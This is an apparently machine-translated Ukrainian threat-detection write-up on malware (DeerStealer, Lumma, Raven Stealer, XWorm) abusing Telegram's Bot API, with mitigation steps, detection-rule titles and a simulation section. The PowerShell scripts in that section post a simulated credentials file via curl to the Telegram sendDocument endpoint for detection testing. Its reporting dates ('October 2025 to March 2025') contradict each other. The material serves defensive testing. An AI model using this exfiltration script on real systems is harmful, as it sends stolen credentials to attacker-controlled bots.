Хроніки виявлення та реагування: дослідження зловживання Telegram
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Стаття пояснює, як кілька зловмисників використовують Bot API і канали Telegram в корпоративному середовищі для командування та управління, ексфільтрації даних і моніторингу жертв. Сімейства шкідливих програм, включаючи DeerStealer, Lumma Stealer, Raven Stealer і троянізований збирач XWorm, жорстко кодують токени ботів або IDs каналів і звертаються до кінцевих точок, таких як /sendMessage і /sendDocument. Це включає запити для виявлення Microsoft Defender і Sentinel, зосереджені на підозрілих рядках команд процесу і трафіку до api.telegram.org. Основний напрямок – створити базове використання Telegram і блокувати API там, де він не потрібен.
Дослідження
SOC NVISO повідомили про чотири спроби вторгнення в період з жовтня 2025 року по березень 2025 року, коли Telegram використовувався на різних етапах життєвого циклу атаки. У статті висвітлюються такі кампанії, як спостереження Lunar Spider за жертвами через підроблені CAPTCHA-приманки, DeerStealer, що надсилає повідомлення операторам через curl, Lumma Stealer, що отримує деталі C2 з каналів Telegram, Raven Stealer, що ексфільтрує архівовані колекції, і зборщик XWorm, що покладається на Bot API як для ексфільтрації, так і для C2. Аналітики вивели індикатори, включаючи командні рядки процесів, цільові мережні адреси та відповідні імена файлів.
Мітигація
Встановіть базове використання Telegram, а потім блокуйте вихідний доступ до api.telegram.org в середовищах, де це не потрібно. Стежте за незвичними процесами (наприклад, curl, powershell, wscript), що ініціюють з’єднання з API, та досліджуйте будь-які сценарії взаємодії з Bot API. Налаштуйте виявлення, щоб придушити очікувану поведінку, таку як запуск telegram.exe, і пріоритизуйте довготривалі або вебхук-запити, що походять від підозрілих бінарних файлів або несподіваних хостів.
Відповідь
Коли діяльність виявлено, ізолюйте постраждалий кінцевий пункт, зупиніть підозрілі процеси та збережіть аргументи командного рядка разом з телеметрією DNS, проксі та мережі. Проведіть поглиблену судову експертизу, щоб ідентифікувати подальші корисні навантаження, пов’язані з кампаніями, такими як DeerStealer або Raven Stealer. Замініть будь-які скомпрометовані токени ботів, вимкніть або анулюйте зловжиті канали Telegram та стримуйте поширення, блокуючи пов’язані індикатори. Якщо зловживання підтверджено, підніміть звітність через офіційні канали Telegram та задокументуйте інцидент, щоб запобігти повторному виникненню.
Потік Атаки
Виявлення
Можливе зловживання Telegram як каналом командування та управління (через dns_query)
Proof of Value
Підозріла модифікація виключень Defender (через командний рядок)
Proof of Value
Підозрілий процес використовує URL в командному рядку (через командний рядок)
Proof of Value
Індикатори компрометації (Emails) для виявлення: Хроніки виявлення і реагування: Вивчення зловживання Telegram
Proof of Value
Виявити некерований зв’язок з Telegram API [наприкінці з’єднання Windows]
Proof of Value
Виявлення шкідливого використання Telegram API [створення процесу Windows]
Proof of Value
Виконання симуляції
Попередньо необхідна перевірка телеметрії та базового стану повинна пройти.
Підстава: цей розділ описує точне виконання техніки супротивника (TTP), розробленої для запуску правила виявлення. Команди і наратив МАЮТЬ точно відобразити відзначені TTP і мають на меті створити саме ту телеметрію, яку очікує виявлення логіки.
-
Опис атаки та команди:
Зловмисник з скомпрометованим хостом Windows бажає ексфільтрувати зібраний файл з обліковими даними (creds.txt) до боту Telegram, яким він керують. Щоб уникнути зберігання користувацької програми, вони використовують вбудованийcurl.exe(встановлений як додаткова функція Windows 10) для POST файлу наhttps://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. Команда виконується з PowerShell, щоб забезпечити запис події створення процесу з командним рядком, що містить “api.telegram.org”. Оскільки процесcurl.exe, фільтр правила (InitiatingProcessFileName: "telegram.exe") не придушує сповіщення.# Змінні (замініть на значення, що контролюються зловмисником) $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11" $ChatID = "987654321" $FilePath = "C:Tempcreds.txt" # Переконайтеся, що файл існує (сімулюваний дамп облікових даних) Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!" # Виконати ексфільтрацію через Bot API Telegram $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" curl.exe -X POST -F "document=@$FilePath" $Url -
Сценарій регресійного тесту: Нижче наведений сценарій відтворює точні кроки, придатні для автоматизованих запусків BAS.
#-------------------------------------------- # Регресійний тест – ексфільтрація через API Telegram #-------------------------------------------- param( [string]$BotToken = "REPLACE_WITH_TOKEN", [string]$ChatID = "REPLACE_WITH_CHATID", [string]$TmpDir = "$env:TEMPTelegramBAS" ) # Створити тимчасовий робочий простір New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null # Симульований файл з обліковими даними $CredFile = Join-Path $TmpDir "creds.txt" "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile # Збір API URL $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" # Виклик ексфільтрації Write-Host "[*] Відправка $CredFile до Telegram..." curl.exe -X POST -F "document=@$CredFile" $Url # Проста індикація успіху (не перевіряє доставку) if ($LASTEXITCODE -eq 0) { Write-Host "[+] Команда ексфільтрації виконана." } else { Write-Error "[-] Ексфільтрація не вдалася." } -
Команди очищення: Видаліть тимчасовий файл і директорію; за бажанням завершіть будь-які залишкові
curl.exeпроцеси.# Очищення тимчасових артефактів Stop-Process -Name "curl" -ErrorAction SilentlyContinue Remove-Item -Path $TmpDir -Recurse -Force Write-Host "[*] Очистка завершена."